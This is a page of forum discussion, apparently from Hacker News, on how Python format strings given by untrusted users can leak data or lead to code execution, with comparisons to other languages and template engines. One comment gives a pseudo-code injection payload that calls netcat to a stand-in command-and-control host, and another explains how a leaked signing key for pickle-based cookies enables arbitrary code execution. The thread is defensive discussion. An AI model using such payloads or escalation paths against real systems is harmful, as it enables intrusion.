101–110 of 155 posts
Runtime string formatting, even if done safely (e.g. .NET's String.Format() which doesn't have property access AFAIK), can still cause unexpected exceptions at the very least, and suffers from inferior performance.
Earlier quoted context omitted.
Neither does python. The problem being discussed here is that the format string can access and attribute of the object passed in. From PEP3101 [0]: " Unlike some other programming languages, you cannot embed arbitrary expressions in format strings. This is by design - the types of expressions that you can use is deliberately limited. Only two operators are supported: the '.' (getattr) operator, and the '[]' (getitem)…
Which is still not safe enough, and in effect can be used to access any global variable as described in the OP article. Rust formatting is done by macros - which expand at compile time and accept only string literals. This makes it impossible to pass user input to format!(), println!() and their ilk unless the end-user can access your compiler, in which case you have a much larger problem.
C# recently added string interpolation, which does allow arbitrary code, but string interpolation itself is compiled C# code and can't be stored like a format string.
Personally I use mustache when i need format-string-like-behavior from semi-trusted users.
Earlier quoted context omitted.
Shouldn't that be based not on the built-in string capabilities, but on a template engine, that must also take care for much more narrow cases of abuse (e.g. SQL injection, or access to only of a restricted number of helper functions within the template)?
The author discovered this exploit in the template engine he wrote (Jinja2).
Earlier quoted context omitted.
Yes, but that's meant for trusted translators of the UI, nor arbitrary users, right?
In some applications, users can change the their own translations, which are stored in the DB, to allow for easier customization.
Earlier quoted context omitted.
if you're running commands on the server I would consider your program as emitting output directly to another program. it's up to you to make sure you call it correctly and not emit raw user data
It seems the format string can run commands on the server. I don't know Python, so this is a pseudo code example that a user could enter: "{system('nc c_and_c_box.example /dev/null')} Nothing to see here, move along"
The proposed idea of relying on undocumented internals and blacklisting attribute names to securely sandbox formatting strings is _really_ _dangerous_. Never do that in production code! Language expansions could render your sandbox unsafe at any time. You can write your own safe formatting engine in much less code. def safe_format(fmt, **args): return re.sub(r'\{([^{}]*)\}', lambda m: args.get(m.group(1)), fmt) safe_…
The first bell added is likely to be field access.
Of course, %s does the same thing (__str__) but at least %s doesn't take any arguments.
Earlier quoted context omitted.
The example is not pathalogical. The property that the PEP states is that the expression should not have side effects, which is the case. Having pathological code in this context only elavates the severity from a pure data leak to partial code execution. Of course partial code execution in an unexpected context often leads to arbitrary code execution.
In many webapps, there's a very easy way to go from a data leak to arbitrary code execution. For instance, if you have signed cookies that are pickles of data, the cookie signing key lets you execute arbitrary code (because pickle deserialization can execute arbitrary code).
Much better idea to use a stupid, non-ACE serialization there.
Well, that's just sloppy and shame on you for exposing programming internals to a user in a service. What did you expect? Write your own format string parser and stop being lazy.